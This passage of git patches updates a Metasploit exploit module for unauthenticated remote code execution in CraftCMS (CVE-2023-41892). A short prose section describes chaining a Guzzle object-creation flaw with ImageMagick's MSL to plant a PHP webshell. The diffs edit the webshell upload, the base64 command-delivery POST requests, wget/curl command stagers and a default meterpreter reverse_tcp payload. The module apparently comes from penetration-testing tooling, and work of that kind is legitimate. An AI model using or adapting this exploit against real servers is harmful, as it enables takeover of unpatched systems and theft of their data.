object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back - to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the + to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system. @@ -78,7 +78,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Type' => :linux_dropper, - 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'echo', 'bourne' ], + 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } @@ -279,7 +279,7 @@ def exploit when :unix_cmd execute_command(payload.encoded) when :linux_dropper - execute_cmdstager(linemax: 32768) + execute_cmdstager(linemax: 65536) end end end From 4c404765a4c8c413445abf527789dfb589184828 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 21 Dec 2023 12:06:21 +0000 Subject: [PATCH 7/7] Final update to the module based on cdelafuente-r7 comments --- .../craftcms_unauth_rce_cve_2023_41892.rb | 31 +++++-------------- 1 file changed, 7 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb index 049ad17f8393..f2e47c6d15ef 100644 --- a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -35,8 +35,9 @@ def initialize(info = {}) access to the underlying operating system as the user that the web services are running as (typically www-data). }, 'Author' => [ - 'chybeta', # discovery - 'h00die-gr3y ' # Metasploit module + 'h00die-gr3y ', # Metasploit module + 'Thanh', # discovery + 'chybeta' # poc ], 'References' => [ [ 'CVE', '2023-41892' ], @@ -64,7 +65,7 @@ def initialize(info = {}) [ 'Unix Command', { - 'Platform' => 'unix', + 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { @@ -168,11 +169,11 @@ def upload_webshell EOS else # create the MSL payload - # payload = "" + # payload = "" payload = <<~EOS - + EOS @@ -210,28 +211,12 @@ def upload_webshell false end - def execute_php(cmd, _opts = {}) - payload = Base64.strict_encode64(cmd) - return send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - @post_param => payload - } - }) - end - def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) - php_cmd_function = datastore['COMMAND'] return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', - 'vars_get' => { - @get_param => php_cmd_function - }, 'vars_post' => { @post_param => payload } @@ -274,9 +259,7 @@ def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] - when :php - execute_php(payload.encoded) - when :unix_cmd + when :php, :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 65536)